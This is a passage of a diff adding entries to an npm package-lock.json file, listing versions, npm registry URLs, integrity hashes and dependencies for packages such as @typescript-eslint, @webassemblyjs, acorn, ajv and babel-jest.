+        "@typescript-eslint/typescript-estree": "5.38.1",
+        "@typescript-eslint/utils": "5.38.1",
+        "debug": "^4.3.4",
+        "tsutils": "^3.21.0"
+      }
+    },
+    "@typescript-eslint/types": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-5.38.1.tgz",
+      "integrity": "sha512-QTW1iHq1Tffp9lNfbfPm4WJabbvpyaehQ0SrvVK2yfV79SytD9XDVxqiPvdrv2LK7DGSFo91TB2FgWanbJAZXg=="
+    },
+    "@typescript-eslint/typescript-estree": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-5.38.1.tgz",
+      "integrity": "sha512-99b5e/Enoe8fKMLdSuwrfH/C0EIbpUWmeEKHmQlGZb8msY33qn1KlkFww0z26o5Omx7EVjzVDCWEfrfCDHfE7g==",
+      "requires": {
+        "@typescript-eslint/types": "5.38.1",
+        "@typescript-eslint/visitor-keys": "5.38.1",
+        "debug": "^4.3.4",
+        "globby": "^11.1.0",
+        "is-glob": "^4.0.3",
+        "semver": "^7.3.7",
+        "tsutils": "^3.21.0"
+      }
+    },
+    "@typescript-eslint/utils": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-5.38.1.tgz",
+      "integrity": "sha512-oIuUiVxPBsndrN81oP8tXnFa/+EcZ03qLqPDfSZ5xIJVm7A9V0rlkQwwBOAGtrdN70ZKDlKv+l1BeT4eSFxwXA==",
+      "requires": {
+        "@types/json-schema": "^7.0.9",
+        "@typescript-eslint/scope-manager": "5.38.1",
+        "@typescript-eslint/types": "5.38.1",
+        "@typescript-eslint/typescript-estree": "5.38.1",
+        "eslint-scope": "^5.1.1",
+        "eslint-utils": "^3.0.0"
+      },
+      "dependencies": {
+        "eslint-scope": {
+          "version": "5.1.1",
+          "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
+          "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
+          "requires": {
+            "esrecurse": "^4.3.0",
+            "estraverse": "^4.1.1"
+          }
+        },
+        "estraverse": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
+          "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw=="
+        }
+      }
+    },
+    "@typescript-eslint/visitor-keys": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-5.38.1.tgz",
+      "integrity": "sha512-bSHr1rRxXt54+j2n4k54p4fj8AHJ49VDWtjpImOpzQj4qjAiOpPni+V1Tyajh19Api1i844F757cur8wH3YvOA==",
+      "requires": {
+        "@typescript-eslint/types": "5.38.1",
+        "eslint-visitor-keys": "^3.3.0"
+      }
+    },
+    "@webassemblyjs/ast": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.12.1.tgz",
+      "integrity": "sha512-EKfMUOPRRUTy5UII4qJDGPpqfwjOmZ5jeGFwid9mnoqIFK+e0vqoi1qH56JpmZSzEL53jKnNzScdmftJyG5xWg==",
+      "requires": {
+        "@webassemblyjs/helper-numbers": "1.11.6",
+        "@webassemblyjs/helper-wasm-bytecode": "1.11.6"
+      }
+    },
+    "@webassemblyjs/floating-point-hex-parser": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz",
+      "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw=="
+    },
+    "@webassemblyjs/helper-api-error": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz",
+      "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q=="
+    },
+    "@webassemblyjs/helper-buffer": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.12.1.tgz",
+      "integrity": "sha512-nzJwQw99DNDKr9BVCOZcLuJJUlqkJh+kVzVl6Fmq/tI5ZtEyWT1KZMyOXltXLZJmDtvLCDgwsyrkohEtopTXCw=="
+    },
+    "@webassemblyjs/helper-numbers": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz",
+      "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==",
+      "requires": {
+        "@webassemblyjs/floating-point-hex-parser": "1.11.6",
+        "@webassemblyjs/helper-api-error": "1.11.6",
+        "@xtuc/long": "4.2.2"
+      }
+    },
+    "@webassemblyjs/helper-wasm-bytecode": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz",
+      "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA=="
+    },
+    "@webassemblyjs/helper-wasm-section": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.12.1.tgz",
+      "integrity": "sha512-Jif4vfB6FJlUlSbgEMHUyk1j234GTNG9dBJ4XJdOySoj518Xj0oGsNi59cUQF4RRMS9ouBUxDDdyBVfPTypa5g==",
+      "requires": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@webassemblyjs/helper-buffer": "1.12.1",
+        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+        "@webassemblyjs/wasm-gen": "1.12.1"
+      }
+    },
+    "@webassemblyjs/ieee754": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz",
+      "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==",
+      "requires": {
+        "@xtuc/ieee754": "^1.2.0"
+      }
+    },
+    "@webassemblyjs/leb128": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz",
+      "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==",
+      "requires": {
+        "@xtuc/long": "4.2.2"
+      }
+    },
+    "@webassemblyjs/utf8": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz",
+      "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA=="
+    },
+    "@webassemblyjs/wasm-edit": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.12.1.tgz",
+      "integrity": "sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g==",
+      "requires": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@webassemblyjs/helper-buffer": "1.12.1",
+        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+        "@webassemblyjs/helper-wasm-section": "1.12.1",
+        "@webassemblyjs/wasm-gen": "1.12.1",
+        "@webassemblyjs/wasm-opt": "1.12.1",
+        "@webassemblyjs/wasm-parser": "1.12.1",
+        "@webassemblyjs/wast-printer": "1.12.1"
+      }
+    },
+    "@webassemblyjs/wasm-gen": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.12.1.tgz",
+      "integrity": "sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w==",
+      "requires": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+        "@webassemblyjs/ieee754": "1.11.6",
+        "@webassemblyjs/leb128": "1.11.6",
+        "@webassemblyjs/utf8": "1.11.6"
+      }
+    },
+    "@webassemblyjs/wasm-opt": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.12.1.tgz",
+      "integrity": "sha512-Jg99j/2gG2iaz3hijw857AVYekZe2SAskcqlWIZXjji5WStnOpVoat3gQfT/Q5tb2djnCjBtMocY/Su1GfxPBg==",
+      "requires": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@webassemblyjs/helper-buffer": "1.12.1",
+        "@webassemblyjs/wasm-gen": "1.12.1",
+        "@webassemblyjs/wasm-parser": "1.12.1"
+      }
+    },
+    "@webassemblyjs/wasm-parser": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.12.1.tgz",
+      "integrity": "sha512-xikIi7c2FHXysxXe3COrVUPSheuBtpcfhbpFj4gmu7KRLYOzANztwUU0IbsqvMqzuNK2+glRGWCEqZo1WCLyAQ==",
+      "requires": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@webassemblyjs/helper-api-error": "1.11.6",
+        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+        "@webassemblyjs/ieee754": "1.11.6",
+        "@webassemblyjs/leb128": "1.11.6",
+        "@webassemblyjs/utf8": "1.11.6"
+      }
+    },
+    "@webassemblyjs/wast-printer": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.12.1.tgz",
+      "integrity": "sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA==",
+      "requires": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@xtuc/long": "4.2.2"
+      }
+    },
+    "@xtuc/ieee754": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz",
+      "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA=="
+    },
+    "@xtuc/long": {
+      "version": "4.2.2",
+      "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz",
+      "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ=="
+    },
+    "abab": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz",
+      "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA=="
+    },
+    "accepts": {
+      "version": "1.3.8",
+      "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
+      "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
+      "requires": {
+        "mime-types": "~2.1.34",
+        "negotiator": "0.6.3"
+      }
+    },
+    "acorn": {
+      "version": "8.12.1",
+      "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.12.1.tgz",
+      "integrity": "sha512-tcpGyI9zbizT9JbV6oYE477V6mTlXvvi0T0G3SNIYE2apm/G5huBa1+K89VGeovbg+jycCrfhl3ADxErOuO6Jg=="
+    },
+    "acorn-globals": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz",
+      "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==",
+      "requires": {
+        "acorn": "^7.1.1",
+        "acorn-walk": "^7.1.1"
+      },
+      "dependencies": {
+        "acorn": {
+          "version": "7.4.1",
+          "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz",
+          "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A=="
+        }
+      }
+    },
+    "acorn-import-attributes": {
+      "version": "1.9.5",
+      "resolved": "https://registry.npmjs.org/acorn-import-attributes/-/acorn-import-attributes-1.9.5.tgz",
+      "integrity": "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ==",
+      "requires": {}
+    },
+    "acorn-jsx": {
+      "version": "5.3.2",
+      "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
+      "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==",
+      "requires": {}
+    },
+    "acorn-node": {
+      "version": "1.8.2",
+      "resolved": "https://registry.npmjs.org/acorn-node/-/acorn-node-1.8.2.tgz",
+      "integrity": "sha512-8mt+fslDufLYntIoPAaIMUe/lrbrehIiwmR3t2k9LljIzoigEPF27eLk2hy8zSGzmR/ogr7zbRKINMo1u0yh5A==",
+      "requires": {
+        "acorn": "^7.0.0",
+        "acorn-walk": "^7.0.0",
+        "xtend": "^4.0.2"
+      },
+      "dependencies": {
+        "acorn": {
+          "version": "7.4.1",
+          "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz",
+          "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A=="
+        }
+      }
+    },
+    "acorn-walk": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz",
+      "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA=="
+    },
+    "address": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/address/-/address-1.2.1.tgz",
+      "integrity": "sha512-B+6bi5D34+fDYENiH5qOlA0cV2rAGKuWZ9LeyUUehbXy8e0VS9e498yO0Jeeh+iM+6KbfudHTFjXw2MmJD4QRA=="
+    },
+    "adjust-sourcemap-loader": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/adjust-sourcemap-loader/-/adjust-sourcemap-loader-4.0.0.tgz",
+      "integrity": "sha512-OXwN5b9pCUXNQHJpwwD2qP40byEmSgzj8B4ydSN0uMNYWiFmJ6x6KwUllMmfk8Rwu/HJDFR7U8ubsWBoN0Xp0A==",
+      "requires": {
+        "loader-utils": "^2.0.0",
+        "regex-parser": "^2.2.11"
+      }
+    },
+    "agent-base": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
+      "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
+      "requires": {
+        "debug": "4"
+      }
+    },
+    "ajv": {
+      "version": "6.12.6",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
+      "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+      "requires": {
+        "fast-deep-equal": "^3.1.1",
+        "fast-json-stable-stringify": "^2.0.0",
+        "json-schema-traverse": "^0.4.1",
+        "uri-js": "^4.2.2"
+      }
+    },
+    "ajv-formats": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz",
+      "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==",
+      "requires": {
+        "ajv": "^8.0.0"
+      },
+      "dependencies": {
+        "ajv": {
+          "version": "8.11.0",
+          "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz",
+          "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==",
+          "requires": {
+            "fast-deep-equal": "^3.1.1",
+            "json-schema-traverse": "^1.0.0",
+            "require-from-string": "^2.0.2",
+            "uri-js": "^4.2.2"
+          }
+        },
+        "json-schema-traverse": {
+          "version": "1.0.0",
+          "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+          "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
+        }
+      }
+    },
+    "ajv-keywords": {
+      "version": "3.5.2",
+      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz",
+      "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==",
+      "requires": {}
+    },
+    "ansi-escapes": {
+      "version": "4.3.2",
+      "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz",
+      "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==",
+      "requires": {
+        "type-fest": "^0.21.3"
+      }
+    },
+    "ansi-html-community": {
+      "version": "0.0.8",
+      "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz",
+      "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw=="
+    },
+    "ansi-regex": {
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz",
+      "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g=="
+    },
+    "ansi-styles": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+      "requires": {
+        "color-convert": "^1.9.0"
+      }
+    },
+    "anymatch": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz",
+      "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==",
+      "requires": {
+        "normalize-path": "^3.0.0",
+        "picomatch": "^2.0.4"
+      }
+    },
+    "arg": {
+      "version": "5.0.2",
+      "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
+      "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="
+    },
+    "argparse": {
+      "version": "1.0.10",
+      "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+      "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+      "requires": {
+        "sprintf-js": "~1.0.2"
+      }
+    },
+    "aria-query": {
+      "version": "4.2.2",
+      "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-4.2.2.tgz",
+      "integrity": "sha512-o/HelwhuKpTj/frsOsbNLNgnNGVIFsVP/SW2BSF14gVl7kAfMOJ6/8wUAUvG1R1NHKrfG+2sHZTu0yauT1qBrA==",
+      "requires": {
+        "@babel/runtime": "^7.10.2",
+        "@babel/runtime-corejs3": "^7.10.2"
+      }
+    },
+    "array-flatten": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.2.tgz",
+      "integrity": "sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ=="
+    },
+    "array-includes": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.5.tgz",
+      "integrity": "sha512-iSDYZMMyTPkiFasVqfuAQnWAYcvO/SeBSCGKePoEthjp4LEMTe4uLc7b025o4jAZpHhihh8xPo99TNWUWWkGDQ==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.4",
+        "es-abstract": "^1.19.5",
+        "get-intrinsic": "^1.1.1",
+        "is-string": "^1.0.7"
+      }
+    },
+    "array-union": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
+      "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw=="
+    },
+    "array.prototype.flat": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.0.tgz",
+      "integrity": "sha512-12IUEkHsAhA4DY5s0FPgNXIdc8VRSqD9Zp78a5au9abH/SOBrsp082JOWFNTjkMozh8mqcdiKuaLGhPeYztxSw==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.2",
+        "es-shim-unscopables": "^1.0.0"
+      }
+    },
+    "array.prototype.flatmap": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.0.tgz",
+      "integrity": "sha512-PZC9/8TKAIxcWKdyeb77EzULHPrIX/tIZebLJUQOMR1OwYosT8yggdfWScfTBCDj5utONvOuPQQumYsU2ULbkg==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.2",
+        "es-shim-unscopables": "^1.0.0"
+      }
+    },
+    "array.prototype.reduce": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/array.prototype.reduce/-/array.prototype.reduce-1.0.4.tgz",
+      "integrity": "sha512-WnM+AjG/DvLRLo4DDl+r+SvCzYtD2Jd9oeBYMcEaI7t3fFrHY9M53/wdLcTvmZNQ70IU6Htj0emFkZ5TS+lrdw==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.2",
+        "es-array-method-boxes-properly": "^1.0.0",
+        "is-string": "^1.0.7"
+      }
+    },
+    "asap": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz",
+      "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA=="
+    },
+    "ast-types-flow": {
+      "version": "0.0.7",
+      "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.7.tgz",
+      "integrity": "sha512-eBvWn1lvIApYMhzQMsu9ciLfkBY499mFZlNqG+/9WR7PVlroQw0vG30cOQQbaKz3sCEc44TAOu2ykzqXSNnwag=="
+    },
+    "async": {
+      "version": "3.2.4",
+      "resolved": "https://registry.npmjs.org/async/-/async-3.2.4.tgz",
+      "integrity": "sha512-iAB+JbDEGXhyIUavoDl9WP/Jj106Kz9DEn1DPgYw5ruDn0e3Wgi3sKFm55sASdGBNOQB8F59d9qQ7deqrHA8wQ=="
+    },
+    "asynckit": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
+      "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q=="
+    },
+    "at-least-node": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz",
+      "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg=="
+    },
+    "atob": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz",
+      "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg=="
+    },
+    "autoprefixer": {
+      "version": "10.4.12",
+      "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.12.tgz",
+      "integrity": "sha512-WrCGV9/b97Pa+jtwf5UGaRjgQIg7OK3D06GnoYoZNcG1Xb8Gt3EfuKjlhh9i/VtT16g6PYjZ69jdJ2g8FxSC4Q==",
+      "requires": {
+        "browserslist": "^4.21.4",
+        "caniuse-lite": "^1.0.30001407",
+        "fraction.js": "^4.2.0",
+        "normalize-range": "^0.1.2",
+        "picocolors": "^1.0.0",
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "axe-core": {
+      "version": "4.4.3",
+      "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.4.3.tgz",
+      "integrity": "sha512-32+ub6kkdhhWick/UjvEwRchgoetXqTK14INLqbGm5U2TzBkBNF3nQtLYm8ovxSkQWArjEQvftCKryjZaATu3w=="
+    },
+    "axobject-query": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-2.2.0.tgz",
+      "integrity": "sha512-Td525n+iPOOyUQIeBfcASuG6uJsDOITl7Mds5gFyerkWiX7qhUTdYUBlSgNMyVqtSJqwpt1kXGLdUt6SykLMRA=="
+    },
+    "babel-jest": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-27.5.1.tgz",
+      "integrity": "sha512-cdQ5dXjGRd0IBRATiQ4mZGlGlRE8kJpjPOixdNRdT+m3UcNqmYWN6rK6nvtXYfY3D76cb8s/O1Ss8ea24PIwcg==",
+      "requires": {
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/babel__core": "^7.1.14",
+        "babel-plugin-istanbul": "^6.1.1",
+        "babel-preset-jest": "^27.5.1",
+        "chalk": "^4.0.0",
+        "graceful-fs": "^4.2.9",
+        "slash": "^3.0.0"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
